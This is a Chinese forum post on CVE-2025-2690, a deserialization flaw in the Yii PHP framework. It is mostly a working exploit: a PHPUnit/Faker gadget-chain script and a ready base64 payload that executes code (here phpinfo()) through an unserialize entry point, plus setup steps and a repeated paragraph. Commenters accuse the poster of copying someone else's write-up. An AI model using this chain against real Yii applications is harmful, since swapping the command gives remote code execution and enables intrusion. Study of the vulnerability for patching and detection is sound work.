投稿文章:【CVE-2025-2690】Yii 反序列化漏洞
Yii <=2.0.39 版本存在反序列化漏洞。如果框架被引用并且存在反序列化入口点,攻击者可以通过反序列化实现任意命令执行。
漏洞利用点在 phpunit\src\Framework\MockObject\MockClass.php 的 generate() 方法中。
设置环境时,请记住在config/web.php中为cookievalidation分配一个值,然后在Controllers \ sitecontroller.php的actionIndex()方法中添加以下反序列化输入。exp代码:序列化之后:
漏洞利用点在 phpunit\src\Framework\MockObject\MockClass.php 的 generate() 方法中。
设置环境时,请记住在config/web.php中为cookievalidation分配一个值,然后在Controllers \ sitecontroller.php的actionIndex()方法中添加以下反序列化输入。
public function actionIndex()
{
$name = Yii::$app->request->get('input');
unserialize(base64_decode($name));
return $this->render('index');
}
<?php
namespace PHPUnit\Framework\MockObject{
final class MockClass{
public $mockName;
public $classCode;
public function __construct()
{
$this->mockName = "MockClass";
$this->classCode = "phpinfo();";
}
}
}
namespace PHPUnit\Framework {
class TestSuite
{
public $iteratorFilter;
}
}
namespace Faker{
use PHPUnit\Framework\MockObject\MockClass;
class Generator{
public $formatters;
public function __construct() {
$this->formatters['factory'] = [new MockClass(), 'generate'];
}
}
}
namespace SebastianBergmann\RecursionContext{
final class Context
{
public $arrays;
}
$a = new Context();
$a->arrays = new \PHPUnit\Framework\TestSuite();
$a->arrays->iteratorFilter = new \Faker\Generator();
echo base64_encode(serialize($a));
}
Tzo0MjoiU2ViYXN0aWFuQmVyZ21hbm5cUmVjdXJzaW9uQ29udGV4dFxDb250ZXh0IjoxOntzOjY6ImFycmF5cyI7TzoyNzoiUEhQVW5pdFxGcmFtZXdvcmtcVGVzdFN1aXRlIjoxOntzOjE0OiJpdGVyYXRvckZpbHRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoyOntzOjEwOiJmb3JtYXR0ZXJzIjthOjE6e3M6NzoiZmFjdG9yeSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrQ2xhc3MiOjI6e3M6ODoibW9ja05hbWUiO3M6OToiTW9ja0NsYXNzIjtzOjk6ImNsYXNzQ29kZSI7czoxMDoicGhwaW5mbygpOyI7fWk6MTtzOjg6ImdlbmVyYXRlIjt9fXM6MzoiYWFhIjtOO319fQ==
评论3次
图都是一样的,好歹自己浮现一下呢
https://github.com/gaorenyusi/gaorenyusi/blob/main/Yii2-2.md 哥们你是连吃带拿啊?
https://github.com/gaorenyusi/gaorenyusi/blob/main/Yii2-2.md 如证实这是楼主本人,将恢复正常会员权限。